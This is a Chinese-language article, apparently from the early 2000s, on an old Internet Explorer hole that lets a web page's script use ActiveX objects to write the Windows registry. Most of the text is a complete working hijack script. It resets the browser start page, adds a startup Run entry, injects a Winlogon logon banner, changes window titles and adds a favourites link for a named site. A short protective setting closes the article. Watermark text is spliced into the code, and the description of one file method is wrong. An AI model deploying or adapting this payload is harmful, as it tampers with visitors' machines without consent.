在2000年,有人发现一个IE浏览器的漏洞,网页可能通过javascript调用ActiveX控件来修改注册表,这是一个极其危险的代码。引起了很多网页研究者的兴趣,在很短的时间内。这种技术被很快的传播开来,成为浏览者的又不威胁。本文的作用在于揭露这种代码的原理以及防范方法。
以下是简单的代码程序:
<script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); //嵌入active控件 数据挖掘研究院
function f(){
try
{
//初始化ActiveX 控件
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
lou = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (document.cookie.indexOf("Chg") == -1) //检查cookie中是否有chg的字符串
{
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//设置浏览器默认主页
lou.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.wenb.net/");
//修改启动中的输入法启动项
lou.RegWrite ("HKLM\Software\Microsoft\Windows\CurrentVersion\Run\internat.exe", "http://www.wenb.net");
//设置注册不可更改
lou.RegWrite ("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode", "00000000", "REG_DWORD");
//加入启动弹出对话框标题
lou.RegWrite ("HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "明星在线 http://www.wenb.net");
//加入启动弹出对话框内容
lou.RegWrite ("HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText", "明星在线 http://www.wenb.net");
//更改浏览器的标题栏
lou.RegWrite ("HKLM\Software\Microsoft\Internet Explorer\Main\Window Title", "吻网极度图库dd http://www.wenb.net");
lou.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", "吻网极度图库dd http://www.wenb.net");
//设置Cookie
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//结束对注册表的操作
//把网站加入到收藏夹中
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\Documents and Settings\" + Net.UserName + "\Favorites";
if(!FSO.FolderExists(loc)) 数据挖掘研究院
{
return;
}
}
//检测是不已经存在
//如果不存在,加入链接
AddFavLnk(loc, "吻网图库", "http://www.wenb.net");
//结束
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000); //定时重复运行
}
init(); </script>
以上的对注册表操作只是现有的,还有更多的操作lou.regwrite是写入和修改操作,lou.regdelete是删除,lou.regread 是读操作,lou.regcreate是增加一个新键,lou.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", "吻网极度图库dd http://www.wenb.net"); 其中的"HKCU\Software\Microsoft\Internet Explorer\Main\Window Title"是指注册表中的路径,http://www.wenb.net是指值.HKCU是指"HKEY_CURRENT_USER",HKLM是指"HKEY_LOCAL_MACHINE"
FSO.FolderExists是检查是否存在文件,FSO.GetDriveName是从一个路径中得到驱动器名称,FSO.DeleteFile是从一个路径中得到驱动器名称,Net.UserName登录网络的用户名。这些都被充许检测。
如果你想使这段代码无效的话,可以这样做。
打开IE浏览器,点工具/internet选项/安全/自定义级别 把"ActiveX控件和插件"下的第一项"对标记为可安全执行脚本的ActiveX控制执行脚本"设为禁用,这样以后就不会被改了,但是要弹出警告框。在使用一些音乐网站的在线视听时会无效。

